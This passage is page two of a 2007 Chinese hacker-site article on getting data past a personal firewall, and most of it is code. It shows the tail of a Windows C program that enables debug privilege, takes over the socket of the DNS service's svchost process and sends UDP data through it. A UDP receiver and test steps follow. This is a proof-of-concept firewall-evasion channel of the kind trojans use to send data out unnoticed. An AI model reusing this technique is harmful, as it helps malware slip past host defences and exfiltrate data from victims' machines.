| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文 用户登录 新用户注册
  一种新的穿透防火墙的数据传输技术          【字体:
一种新的穿透防火墙的数据传输技术
作者:不详    文章来源:CnXHacker.Net    点击数:    更新时间:2007-4-29    
ivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrong\n"); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrong\n"); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%d\n", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^\n"); } getchar(); //WSACleanup(); return; } [Copy to clipboard]

很早以前我就有这个想法了,只是一直没有去实现。在上面的代码中,因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,但是怎么也不行。所以换个方法,用到了wtsapi32库函数。

 再用下面的代码测试:

CODE:

/*++

UdpReceiver

--*/

#include <stdio.h>

#include "winsock2.h"



#pragma comment(lib, "ws2_32")



void main() 

{

WSADATA wsaData;

SOCKET RecvSocket;

sockaddr_in RecvAddr;

int Port = 5555;

char RecvBuf[1024];

int BufLen = 1024;

sockaddr_in SenderAddr;

int SenderAddrSize = sizeof(SenderAddr);



//-----------------------------------------------

// Initialize Winsock

WSAStartup(MAKEWORD(2,2), &wsaData);



//-----------------------------------------------

// Create a receiver socket to receive datagrams

RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);



//-----------------------------------------------

// Bind the socket to any address and the specified port.

RecvAddr.sin_family = AF_INET;

RecvAddr.sin_port = htons(Port);

RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);



bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));



//-----------------------------------------------

// Call the recvfrom function to receive datagrams

// on the bound socket.

printf("Receiving datagrams...\n");

while(1)

{

  recvfrom(RecvSocket, 

    RecvBuf, 

    BufLen, 

    0, 

    (SOCKADDR *)&SenderAddr, 

    &SenderAddrSize);

  printf("%s\n", RecvBuf);

}



//-----------------------------------------------

// Close the socket when finished receiving datagrams

printf("Finished receiving. Closing socket.\n");

closesocket(RecvSocket);



//-----------------------------------------------

// Clean up and exit.

printf("Exiting.\n");

WSACleanup();

return;

}

[Copy to clipboard]

测试步骤:

1. 在一台机器上执行UdpReceiver。

2. 在安装防火墙的机器上执行第一个程序。

上一页  [1] [2] 

文章录入:IceRiver    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    加密可能是一种过度的防范措
    IE最新的欺骗代码
    一种简单实用的全屏方法
    熟知十一种常见流氓软件完全
    Ajax 无刷新的应用
    网络病毒 另一种财富模式
    一种进行ARP欺骗的木马入侵计
    微软升级SQL服务器 采用新的
    小心防范黑客攻击方式的四种
    在局域网中进行IP包捕获的一
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.